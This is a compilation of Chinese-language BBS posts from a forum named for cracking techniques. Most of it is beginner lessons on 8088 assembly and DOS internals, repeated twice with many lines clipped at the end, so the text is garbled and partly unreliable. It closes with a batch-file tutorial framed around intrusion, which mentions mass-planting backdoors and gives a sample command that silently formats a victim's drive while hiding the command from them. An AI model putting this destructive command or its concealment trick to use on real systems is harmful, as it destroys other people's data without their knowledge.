※ ROM-BIOS 由製造廠商內建在 PC 中,是電腦的一個實體部
唯有修改系統的硬體才能改變它,是『相容性』的主要關
※ 通常 ROM-BIOS 所提供的服務(程式)主要是:
1.打開電源時的自我測試程式。
2.啟動並載入 DOS 的程式。
3.支援所有標準週邊設備的程式。
※ 『啟始錄,Boot Recrod』相當於守衛,被放在系統磁片的
一個 RECORD ,用來載入 IO.SYS ,以起動 DOS 。
※ 由於啟始錄的大小是一個標準的磁區(Sector,512 Byte
,所以,僅能存放一些固定的資訊。
※ 因此,系統磁片中,必須包含 IO.SYS 及 MSDOS.SYS 兩個
檔案,且要將它們放在一個標準且預先定好的位置。
※ 所以,您無法輕易地將普通的磁片變成系統磁片,因為這
個特殊系統檔保留的位置可能會被其它檔案佔用。
※ 由於啟始錄無法尋找這兩個檔案的位置,只能檢查它們是
存在;故把它們設為隱藏檔及系統檔,以免被刪除或擅改
※ 啟始錄只有在系統檔改變大小或位置時才必須改變,所以
您會在不同版本的 DOS 上發現不同的啟始錄。
※ IO.SYS 像領班一樣,除了監督 ROM-BIOS 的動作外,必要
可取代 ROM-BIOS ,以擴充其功能;當其他程式要使用 R
-BIOS 的常式時,則必須經由 IO.SYS 來傳送。
※ IO.SYS 具有 ROM-BIOS 無法做到的功能:
1.可針對特殊 DOS 的特定需要而設定。
2.必要時,可修補任何 ROM-BIOS 中的錯誤。
3.可輕易地處理新的週邊設備。
※ DOS 以『配置檔,CONFIG.SYS』的方式,使得 PC 可以隨
增加新的裝置,讓電腦的週邊應用大放光彩。
※ DOS 將配置檔中各『裝置處理程式』當作 IO.SYS 的附加
載入,產生了一種以模組的方式增加新的週邊新裝置,而
干擾到 DOS 的系統檔,這也是 DOS 觀念的一大突破。
※ MSDOS.SYS 處理比較全面性的問題,如同公司的經理一樣
※ MSDOS.SYS 包含輸出入支援的 DOS 服務常式:
1.『DOS 中斷服務』:用於直接取得控制 DOS 錯誤等作業。
2.『DOS 函數呼叫服務』:用於間接提供的輸出入服務。
※ 大多數的『 DOS 服務常式』常被較高層次的 DOS 程式所
用,當組合語言要執行任何輸出入作業時,都會與它連繫
※ 其實,真正的輸出入常式可能在 BOM-BIOS 中,但是程式
須要透過 MSDOS.SYS 才能使用它們。
※ 所有的 DOS 服務和 ROM-BIOS 服務,都故意設定成一種只
由組合語言程式所使用的格式,以提高效率,這也是組合
言真正迷人的地方。
※ COMMAND.COM 負責控制作業系統的整個行動,可以說是作
系統的決策部分。
※ COMMAND.COM 實際上分為三部份:
1.『駐留部分,Resident Part』:包括基本的控制功能以及
錯誤處理常式,開機時與 IO.SYS 及 MSDOS.SYS 放在一起。
2.『開機部分』:只有在 DOS 開機時,用來檢查及執行一個
AUTOEXEC.BAT 檔,一旦完成,則捨棄此部份。
3.『暫存部分,Transient Part』:包含了命令翻譯器及執
行 DOS 內部命令的程式,它們所佔空間不少,若外部程式
需較大空間時,DOS 會將此部份空間釋放,以供程式使用。
※ 常程式執行後,COMMAND.COM 的駐留部份會先檢查看看命
翻譯器是否有被蓋掉,如果有,則再由 DOS 磁片中載入。
※ 這就是有時候您使用某些程式後,DOS 會要求您再放入 D
磁片的原因。
※ 由於 DOS 的版權宣告及內部命令存放於 COMMAND.COM 檔
所以每家公司便可向 Microsoft 公司取得授權,而改成自
獨特的 DOS 版本,這也是 COMMAND.COM 獨立的理由之一
※ 當我們以組合語言寫一個程式加以執行時,此程式就暫時
管 COMMAND.COM 的工作,而且可以直接取用 MSDOS、IO
ROM-BIOS 的所有功能,並可利用這些資源來做它本身的工
,COMMAND.COM 只有在程式結束時,才能重新取回控制權
※ 那麼,是誰來告訴 COMMAND.COM 該做些什麼呢?
就是您, 更精確的說,是您在提示符號 A> 之後
所輸入的命令。
※ 除了前面所談的部分外,DOS 其餘的部分都是以
『外部命令』的方式,置於磁片的程式檔中。
※ 外部命令除了少部分(如:FORMAT 等)外,大都
非 DOS 之必須,所以,可視為輔助 DOS 的公用
程式,而非作業系統本身。
※ 在撰寫組合語言時,最常使用 DEBUG 及 EDLIN 等
外部命令。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 09:32
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm3
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 電腦必須能夠對發生在其微處理機之外的事件有所反應。
※ 我們可以用兩種方法來達到此目的:
1.抽查法(pooling):電腦不斷地尋找需要注意的事件,
因而花掉很多時間在檢查工作上,故不被採用。
2.中斷法(Interrupting):電腦靜靜地做自己的事,直到
事件引起它的注意為止。
※ 『中斷法』使微處理機不會將時間浪費在尋找工作上,而是
當有事件要完成時,工作自己會來找微處理機;這是電腦作
業有效率的主要因素。
※ 中斷的主要觀念是:任何需要處理機照應的事,都以中斷的
形式來找處理機;依其功能的不同,可分成三類:
1.『硬體中斷』:是由某種外部設備(例如:磁碟機、鍵盤、
印表機等)要求照應而產生。
2.『邏輯中斷』:是由處理機本身在遭遇某些反常的情況(例
如:除以零)所產生的。
3.『軟體中斷』:用於一般大眾用的服務,由 ROM-BIOS 及
DOS 所提供。
※ 『軟體中斷』對個人電腦之作業非常重要,是組合語言與其
他高階語言溝通所最常用到的服務。
※ 堆疊(STACK)就是給電腦以不互相干擾的方式,放置其工作
資料之處,與中斷搭配,使電腦的效率及能力大增。
※ 堆疊的工作方式與自助餐館中,所使用的餐盤架一樣,放下
或取用盤子時,都由最上面開始,這就是『後進先出』原則。
※ 當電腦正忙著工作而接到一個中斷時,需要一個地方來保存
正在做的記錄,再去執行中斷服務。
※ 當中斷服務完成時,電腦也必須繼續原來正在做的事情。
※ 堆疊在電腦中的工作方式是:
1.有部份的記憶體(由高往低)供給堆疊儲存體使用。
2.用特殊堆疊暫存器 SS 指向堆疊所在的記憶區域。
3.堆疊的頂端則以 SP 暫存器來指示。
※ 身為電腦中樞神經的 8088 其實只知道除了它本身以外的
三樣東西:
1.會打它頭而要獲得照應的外部中斷。
2.與它交談的記憶體。
3.傳送資料進出記憶體以外任何地方唯一途徑的埠。
※ 亦即,8088 是經由中斷、記憶體的存取及埠來與外界溝通。
※ 埠(PORT)是 8088 微處理機用來替代和統一它與外界通訊
方式的機構。
※ 微處理機對於需要與之交談的任何東西,例如:鍵盤、磁碟
機、喇叭等,都會給一個埠以供使用。
※ 電腦是靠硬體來工作的,但卻需要靠思想來指導軀殼工作
『軟體』就是電腦的思想。
※ 軟體是用來使電腦順暢地運轉,其中,『作業系統』是軟
的最先鋒,也是最重要、最複雜的程式。
※ 作業系統『DOS』所做的大部份工作,是把一些非常冗
繁雜的細節隱藏起來,使得我們得以輕易地使用電腦。
※ 以設計的眼光來看,DOS成功的關鍵之一是『模組化』
※ 當設計者將DOS要做的工作清楚地區別成各模組時,它
被簡化,而且效率更高。
※ 當然,這些模組必須組織成一個小心定義的階層,其中各
層有其特定的工作,但卻不必考慮其他階層的工作細節。
※ 作業系統根據實際的需要,切割成六個主要模組:
1.『ROM-BIOS』:提供電腦所需基本和初步的服務。
2.『Boot Record』:用以載入 DOS。
3.『IO.SYS』:作為 ROM-BIOS 的可變擴充。
4.『MSDOS.SYS』:提供核心的 DOS 服務。
5.『COMMAND.COM』:處理您所鍵入的 DOS 命令。
6.『外部程式』:用以提供特殊服務的程式檔案。
※ 其中,MSDOS.SYS 為作業系統的『邏輯部份』
,而 ROM-BIOS 及 IO.SYS 則構成『實體部份』。
※ 我們常用的磁碟作業系統『MS-DOS』,通常是指
ROM-BIOS 以外的模組。
※ 我們可將整個作業系統想像成『 DOS 股份有限公司』,那
系統的各部份就相當於公司內不同的『階層』。
※ 『唯讀記憶體中的基本輸出入系統,ROM-BIOS』提供了 D
某些最基本和初步的服務,相當於工廠中實際工作的工人
※ ROM-BIOS 由製造廠商內建在 PC 中,是電腦的一個實體部
唯有修改系統的硬體才能改變它,是『相容性』的主要關
※ 通常 ROM-BIOS 所提供的服務(程式)主要是:
1.打開電源時的自我測試程式。
2.啟動並載入 DOS 的程式。
3.支援所有標準週邊設備的程式。
※ 『啟始錄,Boot Recrod』相當於守衛,被放在系統磁片的
一個 RECORD ,用來載入 IO.SYS ,以起動 DOS 。
※ 由於啟始錄的大小是一個標準的磁區(Sector,512 Byte
,所以,僅能存放一些固定的資訊。
※ 因此,系統磁片中,必須包含 IO.SYS 及 MSDOS.SYS 兩個
檔案,且要將它們放在一個標準且預先定好的位置。
※ 所以,您無法輕易地將普通的磁片變成系統磁片,因為這
個特殊系統檔保留的位置可能會被其它檔案佔用。
※ 由於啟始錄無法尋找這兩個檔案的位置,只能檢查它們是
存在;故把它們設為隱藏檔及系統檔,以免被刪除或擅改
※ 啟始錄只有在系統檔改變大小或位置時才必須改變,所以
您會在不同版本的 DOS 上發現不同的啟始錄。
※ IO.SYS 像領班一樣,除了監督 ROM-BIOS 的動作外,必要
可取代 ROM-BIOS ,以擴充其功能;當其他程式要使用 R
-BIOS 的常式時,則必須經由 IO.SYS 來傳送。
※ IO.SYS 具有 ROM-BIOS 無法做到的功能:
1.可針對特殊 DOS 的特定需要而設定。
2.必要時,可修補任何 ROM-BIOS 中的錯誤。
3.可輕易地處理新的週邊設備。
※ DOS 以『配置檔,CONFIG.SYS』的方式,使得 PC 可以隨
增加新的裝置,讓電腦的週邊應用大放光彩。
※ DOS 將配置檔中各『裝置處理程式』當作 IO.SYS 的附加
載入,產生了一種以模組的方式增加新的週邊新裝置,而
干擾到 DOS 的系統檔,這也是 DOS 觀念的一大突破。
※ MSDOS.SYS 處理比較全面性的問題,如同公司的經理一樣
※ MSDOS.SYS 包含輸出入支援的 DOS 服務常式:
1.『DOS 中斷服務』:用於直接取得控制 DOS 錯誤等作業。
2.『DOS 函數呼叫服務』:用於間接提供的輸出入服務。
※ 大多數的『 DOS 服務常式』常被較高層次的 DOS 程式所
用,當組合語言要執行任何輸出入作業時,都會與它連繫
※ 其實,真正的輸出入常式可能在 BOM-BIOS 中,但是程式
須要透過 MSDOS.SYS 才能使用它們。
※ 所有的 DOS 服務和 ROM-BIOS 服務,都故意設定成一種只
由組合語言程式所使用的格式,以提高效率,這也是組合
言真正迷人的地方。
※ COMMAND.COM 負責控制作業系統的整個行動,可以說是作
系統的決策部分。
※ COMMAND.COM 實際上分為三部份:
1.『駐留部分,Resident Part』:包括基本的控制功能以及
錯誤處理常式,開機時與 IO.SYS 及 MSDOS.SYS 放在一起。
2.『開機部分』:只有在 DOS 開機時,用來檢查及執行一個
AUTOEXEC.BAT 檔,一旦完成,則捨棄此部份。
3.『暫存部分,Transient Part』:包含了命令翻譯器及執
行 DOS 內部命令的程式,它們所佔空間不少,若外部程式
需較大空間時,DOS 會將此部份空間釋放,以供程式使用。
※ 常程式執行後,COMMAND.COM 的駐留部份會先檢查看看命
翻譯器是否有被蓋掉,如果有,則再由 DOS 磁片中載入。
※ 這就是有時候您使用某些程式後,DOS 會要求您再放入 D
磁片的原因。
※ 由於 DOS 的版權宣告及內部命令存放於 COMMAND.COM 檔
所以每家公司便可向 Microsoft 公司取得授權,而改成自
獨特的 DOS 版本,這也是 COMMAND.COM 獨立的理由之一
※ 當我們以組合語言寫一個程式加以執行時,此程式就暫時
管 COMMAND.COM 的工作,而且可以直接取用 MSDOS、IO
ROM-BIOS 的所有功能,並可利用這些資源來做它本身的工
,COMMAND.COM 只有在程式結束時,才能重新取回控制權
※ 那麼,是誰來告訴 COMMAND.COM 該做些什麼呢?
就是您, 更精確的說,是您在提示符號 A> 之後
所輸入的命令。
※ 除了前面所談的部分外,DOS 其餘的部分都是以
『外部命令』的方式,置於磁片的程式檔中。
※ 外部命令除了少部分(如:FORMAT 等)外,大都
非 DOS 之必須,所以,可視為輔助 DOS 的公用
程式,而非作業系統本身。
※ 在撰寫組合語言時,最常使用 DEBUG 及 EDLIN 等
外部命令。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_2
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 09:29
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm2
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
----------------------------------------------------------------
※ 在遠古時代,人類就懂得使用『符號』來表示物體的數量。
※ 起初,這些符號只是口述的。
※ 例如:一頭長毛象、二塊石頭、三個人 ...。
※ 後來逐漸演化出較進步的數字系統,如: 結繩、畫線 ...。
※ 隨著人類文明的演進,人們所要計算的數量愈來愈大,發現
這些方法不太方便。
※ 羅馬人嘗試以單獨的符號來表示 1 以外的數值,例如:
V代表 5,X 代表 10 等。
※ 雖然後來證明仍不切實際,但已為近代的數字系統,
開啟了新的方向。
※ 隨著經驗的累積,阿拉伯人歸納出了一些基本原則:
1.某個數值以下的數以單獨的符號表示。
2.超過該數值時,則在另一行重新開始。
3.使用一個特殊符號來表示『空』行。
※ 於是,阿拉伯人以人類的手指數,為分行的基準數值,創
造出了大家所熟悉的阿拉伯數字 0,1,2,3,4,5,6,7,8,9。
※ 在組合語言中,我們常在數值後面加上『d』,表示其為
十進位(Decimal)數。
※ 由於人類有十根手指,所以藉由扳手指的便利,我們逐漸
習慣了十進位的數字系統。
※ 上帝以其形體創造人類,同樣的,人類也以自己的形體付與
電腦生命。
※ 電腦本身也具有實體軀殼與思考的靈魂。
※ 電腦的軀殼就是我們常見的『硬體』,包含五大單元:
算術邏輯單元
輸入單元 控制單元 輸出單元
記憶單元
※ 電腦的靈魂就是 MS-DOS,用來控制這五大部門的運作。
※ 『 組合語言 』就是用來撰寫 MS-DOS 的基本語言。
※ 『中央處理單元,CPU』主要是指微處理機,是可以執行
電腦所有算術/邏輯運算與基本 I/O 控制功能的單一晶片。
※ 組合語言與特定的微處理機晶片之間的關係牢不可分,也就
是說,不同的微處理機其組合語言的指令語法亦不相同。
※ 個人電腦由 1981 年推出至今,其主要微處理機之發展過程
為: 8088 → 80286 → 80386 → 80486。
※ 愈後面出來的微處理機,其功能愈強,指令亦愈複雜,但其
必能包含前面微處理機的功能。
※ 為了確保您的組合語言程式可以適用於各種機型,所以仍以
使用 8088 的組合語言,其相容性最佳。
※ 『 組合語言入門 』亦以解說 8088 組合語言為主。
※ 像人類的腦細胞一樣,電腦使用IC(內含無數個電晶體)
當『 主記憶體』 。
※ 記憶體是電腦運作中的關鍵成分,也是電腦在工作當中儲存
資訊的地方。
※ 主記憶體的組織有如許多可存放數值的儲存位置,各以一個
『位址』來識別。
※ 個人電腦所使用的儲存位置是由『8 個位元』所組成,稱作
『位元組』,是個大小恰好可以放進一個字元的資訊單位。
※ 以一個組合語言程式設計師的觀念而言,『記憶體』就是電
腦內部可以用來存放『位元組』的地方。
※ 每一記憶體位置都有一個用來定位的位址。
※ 位址是一個數字,從零開始,往最高位址增加。
※ 由於位址是數字,電腦便能用其算術能力來計算與處理記憶
體位置,而且各種電腦的設計都有其位址大小的限制。
0100 10010000
0101 00000010
0102 11000011
0103 00000000
位址 有效的資料
※ 8088 系列的個人電腦採開放式的硬體架構,以『擴充槽』
與其他週邊裝置互通訊息。
※ 每個擴充槽上有 62 條通道(I/O channel),其中分配 20 條
給記憶體用。
※ 亦即,在 8088 中,位址有 20 個位元長,所以微處理機擁
有達2 的定址空間,相當於1M(1024K,1K=1024)Byte
,這也是 MS-DOS 的有效控制範圍。
※ 大多數 8088 能做的算術都限於處理 16 位元的字元,其範
圍從2 ~2 ,即 0 到 64K。
※ 所以,必須用『分段式定址』的觀念才能控制整個位址。
※ 完整的 20 位元位址可分成兩部份,皆由 16 個位元組成:
1.區段部分(Segment):原來 16 個位元後面加上四個二進位0
(一個 16 進位的0),變成 20 個位元
,可設定至 1 M 中任何一個 64K 區段。
2.相對部份 (Offect):直接使用 16 個位元來接著區段部份,
指向該區段中的任何一個位址。
※ 實際上,區段部份常成為相對部份能夠定址 64K 工作區域
的一個『基礎位址』。
※ 在組合語言中,您常會看到分段式定址寫成:『2222:3333』
,其實際的 20 位元位址值為:
※ 暫存器(Register):是電腦內部的一個實體元件,有點像
記憶體的一個位址;不過,由於它是微處理機晶片的一部分
,而不是記憶晶片的一部分,所以在暫存器之間的資料傳送
非常快速。
※ 8088 指令還可以在暫存器上做許多在記憶位置上無法做到
的事,例如:
1.可將暫存器內的資料執行算術及邏輯運算。
2.存於暫存器內的位址可用來指向記憶體的某個位置。
3.暫存器可以用來讀寫資料到電腦的週邊設備。
※ 8088 有 8 個 8 位元的『一般暫存器』,分別是:
AH 與 AL,BH 與 BL,CH 與 CL,DH 與 DL。
※ 這些 8 位元暫存器可配對組成 16 位元暫存器:
AH AL = AX 『累加暫存器』常用於運算。
BH BL = BX 『基底暫存器』常用於位址索引。
CH CL = CX 『計數暫存器』常用於計數。
DH DL = DX 『資料暫存器』常用於資料傳遞。
※ 為了運用所有的位址,8088 也設定了四個『區段暫存器』,
專門用來保存位址的區段部份:
CS 用於設定程式碼區段(Code Segment)的位址。
DS 用於設定資料區段(Data Segment)的位址。
SS 用於設定堆疊區段(Stack Segment)的位址。
ES 用於設定額外區段(Extra Segment)的位址。
※ 當一個程式要執行時,DOS 就要來決定程式碼、資料和堆疊
各要用到那些位置,而設定區段暫存器 CS,DS,SS 來指向
這些起始位置。
※ 通常程式語言處理機都是將『資料區段暫存器-DS』固定,
而根據需要修改『程式碼區段暫存器-CS』。
※ 所以,DOS 和『程式語言處理機』可以在可定址資料空間小
於 64K 的情況下,讓程式可寫成任意大小。
※ 一般而言,BASIC 直譯器(Interpreter)就是程式處理機,
而您所認為的 BASIC 程式,其實只是其資料的一部分。
※ 所以,您的程式和其資料組合起來的大小,限制在 DS 所同
時涵蓋的 64K 內。
※ 這就是一般 BASIC 程式和 COM 檔案不得大於 64K 的原因。
※ 8088 以記憶體做為工作場所,卻使用暫存器做為草稿紙,以
加速工作。
※ 除了前面所提的暫存器外,還有一些特殊功能的暫存器:
IP 指令指標(Intruction Pointer)暫存器
與 CS 配合使用,可追蹤程式的執行過程。
SP 堆疊指標(Stack Pointer)暫存器
與 SS 配合使用,可指向目前的堆疊位置。
BP 基礎指標(Base Pointer)暫存器
可用作 SS 區段的一個相對基礎位置。
SI 來源索引(Source Index)暫存器
可用來提供相對於 DS 區段之來源指標 。
DI 目的索引(Destination Index)暫存器
可用來提供相對於 ES 區段之目的指標 。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 09:29
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm2
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
----------------------------------------------------------------
※ 在遠古時代,人類就懂得使用『符號』來表示物體的數量。
※ 起初,這些符號只是口述的。
※ 例如:一頭長毛象、二塊石頭、三個人 ...。
※ 後來逐漸演化出較進步的數字系統,如: 結繩、畫線 ...。
※ 隨著人類文明的演進,人們所要計算的數量愈來愈大,發現
這些方法不太方便。
※ 羅馬人嘗試以單獨的符號來表示 1 以外的數值,例如:
V代表 5,X 代表 10 等。
※ 雖然後來證明仍不切實際,但已為近代的數字系統,
開啟了新的方向。
※ 隨著經驗的累積,阿拉伯人歸納出了一些基本原則:
1.某個數值以下的數以單獨的符號表示。
2.超過該數值時,則在另一行重新開始。
3.使用一個特殊符號來表示『空』行。
※ 於是,阿拉伯人以人類的手指數,為分行的基準數值,創
造出了大家所熟悉的阿拉伯數字 0,1,2,3,4,5,6,7,8,9。
※ 在組合語言中,我們常在數值後面加上『d』,表示其為
十進位(Decimal)數。
※ 由於人類有十根手指,所以藉由扳手指的便利,我們逐漸
習慣了十進位的數字系統。
※ 上帝以其形體創造人類,同樣的,人類也以自己的形體付與
電腦生命。
※ 電腦本身也具有實體軀殼與思考的靈魂。
※ 電腦的軀殼就是我們常見的『硬體』,包含五大單元:
算術邏輯單元
輸入單元 控制單元 輸出單元
記憶單元
※ 電腦的靈魂就是 MS-DOS,用來控制這五大部門的運作。
※ 『 組合語言 』就是用來撰寫 MS-DOS 的基本語言。
※ 『中央處理單元,CPU』主要是指微處理機,是可以執行
電腦所有算術/邏輯運算與基本 I/O 控制功能的單一晶片。
※ 組合語言與特定的微處理機晶片之間的關係牢不可分,也就
是說,不同的微處理機其組合語言的指令語法亦不相同。
※ 個人電腦由 1981 年推出至今,其主要微處理機之發展過程
為: 8088 → 80286 → 80386 → 80486。
※ 愈後面出來的微處理機,其功能愈強,指令亦愈複雜,但其
必能包含前面微處理機的功能。
※ 為了確保您的組合語言程式可以適用於各種機型,所以仍以
使用 8088 的組合語言,其相容性最佳。
※ 『 組合語言入門 』亦以解說 8088 組合語言為主。
※ 像人類的腦細胞一樣,電腦使用IC(內含無數個電晶體)
當『 主記憶體』 。
※ 記憶體是電腦運作中的關鍵成分,也是電腦在工作當中儲存
資訊的地方。
※ 主記憶體的組織有如許多可存放數值的儲存位置,各以一個
『位址』來識別。
※ 個人電腦所使用的儲存位置是由『8 個位元』所組成,稱作
『位元組』,是個大小恰好可以放進一個字元的資訊單位。
※ 以一個組合語言程式設計師的觀念而言,『記憶體』就是電
腦內部可以用來存放『位元組』的地方。
※ 每一記憶體位置都有一個用來定位的位址。
※ 位址是一個數字,從零開始,往最高位址增加。
※ 由於位址是數字,電腦便能用其算術能力來計算與處理記憶
體位置,而且各種電腦的設計都有其位址大小的限制。
0100 10010000
0101 00000010
0102 11000011
0103 00000000
位址 有效的資料
※ 8088 系列的個人電腦採開放式的硬體架構,以『擴充槽』
與其他週邊裝置互通訊息。
※ 每個擴充槽上有 62 條通道(I/O channel),其中分配 20 條
給記憶體用。
※ 亦即,在 8088 中,位址有 20 個位元長,所以微處理機擁
有達2 的定址空間,相當於1M(1024K,1K=1024)Byte
,這也是 MS-DOS 的有效控制範圍。
※ 大多數 8088 能做的算術都限於處理 16 位元的字元,其範
圍從2 ~2 ,即 0 到 64K。
※ 所以,必須用『分段式定址』的觀念才能控制整個位址。
※ 完整的 20 位元位址可分成兩部份,皆由 16 個位元組成:
1.區段部分(Segment):原來 16 個位元後面加上四個二進位0
(一個 16 進位的0),變成 20 個位元
,可設定至 1 M 中任何一個 64K 區段。
2.相對部份 (Offect):直接使用 16 個位元來接著區段部份,
指向該區段中的任何一個位址。
※ 實際上,區段部份常成為相對部份能夠定址 64K 工作區域
的一個『基礎位址』。
※ 在組合語言中,您常會看到分段式定址寫成:『2222:3333』
,其實際的 20 位元位址值為:
※ 暫存器(Register):是電腦內部的一個實體元件,有點像
記憶體的一個位址;不過,由於它是微處理機晶片的一部分
,而不是記憶晶片的一部分,所以在暫存器之間的資料傳送
非常快速。
※ 8088 指令還可以在暫存器上做許多在記憶位置上無法做到
的事,例如:
1.可將暫存器內的資料執行算術及邏輯運算。
2.存於暫存器內的位址可用來指向記憶體的某個位置。
3.暫存器可以用來讀寫資料到電腦的週邊設備。
※ 8088 有 8 個 8 位元的『一般暫存器』,分別是:
AH 與 AL,BH 與 BL,CH 與 CL,DH 與 DL。
※ 這些 8 位元暫存器可配對組成 16 位元暫存器:
AH AL = AX 『累加暫存器』常用於運算。
BH BL = BX 『基底暫存器』常用於位址索引。
CH CL = CX 『計數暫存器』常用於計數。
DH DL = DX 『資料暫存器』常用於資料傳遞。
※ 為了運用所有的位址,8088 也設定了四個『區段暫存器』,
專門用來保存位址的區段部份:
CS 用於設定程式碼區段(Code Segment)的位址。
DS 用於設定資料區段(Data Segment)的位址。
SS 用於設定堆疊區段(Stack Segment)的位址。
ES 用於設定額外區段(Extra Segment)的位址。
※ 當一個程式要執行時,DOS 就要來決定程式碼、資料和堆疊
各要用到那些位置,而設定區段暫存器 CS,DS,SS 來指向
這些起始位置。
※ 通常程式語言處理機都是將『資料區段暫存器-DS』固定,
而根據需要修改『程式碼區段暫存器-CS』。
※ 所以,DOS 和『程式語言處理機』可以在可定址資料空間小
於 64K 的情況下,讓程式可寫成任意大小。
※ 一般而言,BASIC 直譯器(Interpreter)就是程式處理機,
而您所認為的 BASIC 程式,其實只是其資料的一部分。
※ 所以,您的程式和其資料組合起來的大小,限制在 DS 所同
時涵蓋的 64K 內。
※ 這就是一般 BASIC 程式和 COM 檔案不得大於 64K 的原因。
※ 8088 以記憶體做為工作場所,卻使用暫存器做為草稿紙,以
加速工作。
※ 除了前面所提的暫存器外,還有一些特殊功能的暫存器:
IP 指令指標(Intruction Pointer)暫存器
與 CS 配合使用,可追蹤程式的執行過程。
SP 堆疊指標(Stack Pointer)暫存器
與 SS 配合使用,可指向目前的堆疊位置。
BP 基礎指標(Base Pointer)暫存器
可用作 SS 區段的一個相對基礎位置。
SI 來源索引(Source Index)暫存器
可用來提供相對於 DS 區段之來源指標 。
DI 目的索引(Destination Index)暫存器
可用來提供相對於 ES 區段之目的指標 。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_1
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 09:26
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 對初學者而言,MASM 的功能太強了,它的許多命令太複雜,
以致常會妨礙了我們學習組合語言的興緻與效果。
※ 某些高明的指令事實上只對頗有經驗的組合語言程式師有用
,對我們而言,是太過高深了。
※ 事實上,使用 MASM 就好像在開 747 一樣,只有 DEBUG 才有
螺旋槳飛機的味道;因為,在 DEBUG 上面的控制全部都跟組合
語言有直接的關係。
※ 如果您覺得組合語言蠻有趣的,終究您必須要用到 MASM。
※ 為了使學習組合語言程式有個好的開始,您必須要先排除那些
華麗複雜的命令,將心力集中在最重要的幾個命令上。
※ 隨著您對 MASM 技巧的成長,最後您一定會感覺它是您在組合
語言程式設計上的左右手。
※ 數字系統是電腦最常用的『思考模式』,也是
我們和電腦溝通的最佳工具,您一定得認識它。
※ 同時,您也會知道中/英文內碼的結構。
※ 硬體是個人電腦的軀殼,您絕對不能忽視硬體
五大部門之間的關係。
※ 記憶體與中央處理 的正確觀念是組合語言
必修的入門課程,您一定要熟悉它。
※ 作業系統模組化的完整概念是組合語言的基礎
,您一定要徹底瞭解它。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 09:26
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 對初學者而言,MASM 的功能太強了,它的許多命令太複雜,
以致常會妨礙了我們學習組合語言的興緻與效果。
※ 某些高明的指令事實上只對頗有經驗的組合語言程式師有用
,對我們而言,是太過高深了。
※ 事實上,使用 MASM 就好像在開 747 一樣,只有 DEBUG 才有
螺旋槳飛機的味道;因為,在 DEBUG 上面的控制全部都跟組合
語言有直接的關係。
※ 如果您覺得組合語言蠻有趣的,終究您必須要用到 MASM。
※ 為了使學習組合語言程式有個好的開始,您必須要先排除那些
華麗複雜的命令,將心力集中在最重要的幾個命令上。
※ 隨著您對 MASM 技巧的成長,最後您一定會感覺它是您在組合
語言程式設計上的左右手。
※ 數字系統是電腦最常用的『思考模式』,也是
我們和電腦溝通的最佳工具,您一定得認識它。
※ 同時,您也會知道中/英文內碼的結構。
※ 硬體是個人電腦的軀殼,您絕對不能忽視硬體
五大部門之間的關係。
※ 記憶體與中央處理 的正確觀念是組合語言
必修的入門課程,您一定要熟悉它。
※ 作業系統模組化的完整概念是組合語言的基礎
,您一定要徹底瞭解它。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
DOS 批次檔
前言
最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相
關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語雲:“
授人以魚,不如授人以漁。”因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫
了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋
友們.
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cm
d。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按
照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或
腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵
中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序
等。下面就開始我們批處理學習之旅吧。
一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回
顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實
現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能
讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留
了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳
細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標
